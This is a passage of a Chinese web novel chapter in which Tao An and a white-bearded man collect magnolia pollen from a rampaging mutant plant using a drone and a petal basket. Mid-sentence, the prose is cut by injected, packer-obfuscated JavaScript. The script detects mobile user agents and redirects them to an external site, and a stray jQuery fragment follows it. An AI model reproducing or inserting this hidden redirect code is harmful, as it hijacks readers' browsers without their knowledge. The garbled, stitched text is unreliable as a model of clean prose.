大概是吃过软晶的人,都能感应到巨植的一些变化,所以刚睡醒的三人组也没有立马离开,而是兑换了积分,给自己续了一个星期的房费。
旅店没有打发时间的娱乐活动,他们就自己找,比如修修武器,再比如互相对打锻炼招式,提升武力值。
白胡子男人应该是系统训练过的那种,偶尔围观他们点评两句,还能得到三人组的热烈感谢。
时间一晃过了三天,这天上午五点,陶安是被一阵噼里啪啦的巨响吵醒的。
爬起来一看,大楼的大门被一片绿色堵得死死的,如果不是有防护罩在,这绿植恐怕会被挤压到大厅里来。
陶安反应过来,应该是有巨植狂躁期到了,然后和别的植物打起来,打到大楼门口来了。
这么好的机会,她可不能放过。
夏知礼从自助贩卖机里买了一把锋利的长剑,然后迫不及待的跑到门口,一剑捅了过去。
咦?进不去?
陶安又加大了力量,最后费了好大劲儿,才终于把剑捅了进去。
不愧是变异植物啊,居然连捅进去都这么费劲儿。
要知道她的力量,可是经过异能洗礼的,比普通人高了不知道多少倍,这种情况都很难捅进去,足以证明这巨植的防御力有多强。
当然,也可能有武器太普通的原因在。
剑身整个没入了这片绿色当中,大概是因为疼痛,植物还左右扭了两下,连带着剑柄也跟着左右晃动。
不过也就几秒,就停止了动作。
看剑柄停止晃动,陶安侧过身,正面对着剑柄,然后双手搭在剑柄上开始使劲儿,一边手中用力推,脚下还不断迈着步子想前进。
可惜的是,不清楚是武器太差,还是她自身力量不够,又或是巨植防御力太高,反正这剑是怎么推都推不动。
倒是她自己,原地走了段太空步,整的像给巨植表演节目似得。
甩了甩因突然发力,而有些短暂不适的双手,陶安叹了口气,重新坐回收银台。
听着外面噼里啪啦的植物打架声,脑海里忍不住出现了,有植物被打死,然后自己上去捡漏的画面。
要是真有这好事就好了,可惜,她现在只能干坐在收银台,看着门口一片绿色上的黑色剑柄发呆。
门外的植物打了有一会儿,不知道是有植物被打死,还是逃跑了,反正堵在门口的这株植物很快离开了原地,露出了门外的景象。
地面应该是被植物抽出根须影响了,看着像刚刚被老黄牛耕过一样,不像之前那么平整,变得凹凸不平起来,中间还夹杂着一些大洞,以及不少新鲜掉落的枝叶。
对比昨天,植物们基本都移了位,还看到有两株根须拧成几股,站在地上随时准备跑路的植物。
而我们的始作俑者植物,依旧在发狂,原本和它对打的那株已经跑远,它就又选了新的对手开始招惹。
应该是细长,但对比普通植物,又显得特别宽大的叶片不断拍打着,还有几片横在对手身前不断前后移动,做着切割的动作,像是要把那株植物切断一般。
而叶片顶端的巨大花朵,不知因为什么,在不停的颤抖,看着像得了帕金森似得。
被对付的那株植物应该是防御力比较强,被这么攻击,也还是稳稳的立在原地,什么反应都没有。
但看得出来,发狂植物到目前为止,做的所有动作基本都是无用功,好半天了,被攻击的植物身上也没见出现伤口。
也不知道是植物本身智商不高,还是发狂期的植物智商不高,就算攻击手段没造成任何伤害,那株发狂的植物也依旧没有停止,或者更换攻击对象,依旧原地勤勤恳恳的不断重复着动作。
那两株原本准备逃跑的植物见状,也默默分开根须,重新扎入地面。
“不用看了,这两株植物估计会持续目前的这个状态,一直到三天后狂躁期结束。”
陶安循声望去,是白胡子,刚刚看入迷了,都没注意到他的出现。
“啊?是狂躁期的这株植物,打不过另外一株植物吗?”
“嗯,这两株植物等级相同,狂躁期的那株植物叫玉兰,它对付的那株植物叫铁木树,玉兰最大的能力是可以喷发出令人,或植物陷入绵软无力状态的花粉,你看它的花朵在不断颤抖,那就是在抖花粉出来,而铁木树没有攻击手段,最大的能力就是防御,即便陷入绵软无力的状态,也不是玉兰能轻易伤到的,它俩对打,就是一个谁也伤不着谁。”
听到白胡子的话,陶安又仔细观察了一下,果然在抖动的花朵附近,看到了纷纷扬扬细小的浅色粉尘。
“这样说的话,那这些粉尘,你们也可以收集起来,用来对付植物啊?”
“可以是可以,不过只有用玉兰花瓣在空中接住的粉尘才有用,其他落地,或者接触过物体的就没用了。”
陶安脑子一转,一个想法在心里形成。
“你手头有玉兰花瓣吗?”
白胡子挑眉:“你想收集这些花粉?”
“嗯哼。”
“你别说,我还真有,三、不对,五张餐票卖你。”
“行行行。”说着,陶安拿了五张餐票出来。
反正这东西对她来说又不贵,而且按白胡子使用餐票的习惯,还会给她送积分呢。
餐票到手,白胡子也很快把拢成一团的玉兰花瓣拿了出来。
“只能用内侧,手没有碰过的地方接花粉。”
“好的,知道了,谢谢!”
陶安又上自动贩卖机买了一架遥控飞机,一个藤条编织的篮子,还有一套手工材料出来,把篮子固定在遥控飞机上,然后铺上玉兰花瓣,一个花粉收集器就做好了。
在室内练习了一下飞机操控,很快,她就操控着飞机,小心翼翼的接近那株正在发狂的玉兰花。
越靠近花朵的地方,能收集的粉尘越多,但也越危险,稍不注意,都有可能被花朵,或者叶片误伤。
而稍远一些的地方,虽然能收集到的粉尘比较少,但也安全,不会因为被叶片打到,而整框倾倒。
陶安全神贯注的操控了一会儿,努力不断地左右上下移动,注意着不要被狂躁的玉兰碰撞到。
不过这种注意力高度集中、身体紧绷的状态持续久了,人会感觉特别疲惫。
等陶安意识到这个问题,把飞机遥控操控远一些,人放松下来时,由内而外的疲惫感瞬间就涌上心头。
这感觉,比跟别人打了一架还难受。
靠着门口的墙壁站着,陶安忍不住闭了会儿眼睛,身体上的不适感也让她完全不想再抬手。
睁开眼撇了一眼看热闹的白胡子。
“哥,等会请你吃饺子,帮我弄一会儿呗。”
白胡子一愣,随后纠结的表情在脸上浮现。
就在陶安疑惑,有什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544167|171136||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
事情能让白胡子面对美食,居然还要纠结时,他艰难的开口。
“饺子就不用了,等会儿完事,你把这花粉分一点给我吧。”
在白胡子心中,美食的地位无疑是很高的,能和美食相提并论的东西,看来这花粉的用处真挺大啊。
“行,分你一点咯。”
得到回复,白胡子拿过陶安手中的遥控器,开始操控飞机。
玉兰的花粉,也不是能一直喷的,白胡子接过遥控器没多久,玉兰就停止了释放花粉。
陶安看了眼时间,大约喷了两个小时,这时间也是够长的,也不知道这异世的花是怎么变异的,居然能喷出这么多花粉。
飞机飞回,篮子底部有厚厚一层的浅蓝色花粉,陶安看了看花粉,又抬头看了看白胡子。
“这东西,用啥保存啊?玉兰花瓣?”
“嗯,这片花瓣我不是卖给你了嘛,你直接把花瓣拢起来用绳子系上,找个柜子放着就行,三个月内都是有效的。”
“那你那份呢?”
“稍等。”白胡子说完又往旅馆走去,片刻后,带着一个盒子出来。
盒子打开,里面有荷包、手套、和一个铲子形状的东西,除了手套,其他看着好像都是玉兰花瓣做的。
铲子前方有保护套,白胡子拿掉保护套,然后就着这软软的花瓣铲子,开始往花瓣荷包里铲花粉。
虽然花瓣铲子是软的,但花粉重量也很轻,所以并不会出现铲子被压弯的画面,事情进行的顺利,三铲子下去荷包就满了。
“我滴妈呀,你这装备还真齐全。”
“这东西用处大,卖价高,所以收集工具我长期备着。”
“哦~原来如此,那这玩意,一般卖价是多少啊?”
白胡子将工具整理好,才回了这个问题:“这个是六级玉兰的花粉,一般一荷包,可以卖到五级软晶2颗的价格,不过五级软晶少见,所以一般是用20颗四级软晶,或者更多的三级软晶来交易。”
“所以高低等级软晶之间的比例是1:10喽。”
“是,不过一般用高等级换低等级好换,但低等级换高等级可能需要适量加价。”
“那软晶等级如何区分呢?”
“按能量含量区分等级,这方面吃过软晶,能感应到能量的人都能区分,你没吃过软晶……”
话没说完,但陶安也听明白了话里的意思。
你没吃过软晶,感应不到能量,所以区分不了等级。
……有问题,找系统!
「统子!统子!」
「帮忙区分软晶等级,一次3积分。」
……也行吧,好歹是有个办法。
白胡子看陶安半天没有回应,又主动开口:“要不我再买三分之一走?太多了我也用不完,只能帮你分担三分之一了。”
听到这话,陶安反应过来:“没事没事,我有办法了,你要用得上我卖你,用不上就算了,不用特意为了帮我而去买。”
听到这话,白胡子松了口气:“行,那我就不买了,你在店铺里,能卖出去的机会比我大。”
“嗯嗯,那这些我先收起来。”
“嗯,对了,你那遥控飞机卖吗?”
“卖啊,不过那飞机是用电的,三节电池最多用一天,你要买的话,可以多买些电池带着。”
“行啊,多少钱?”
“稍等。”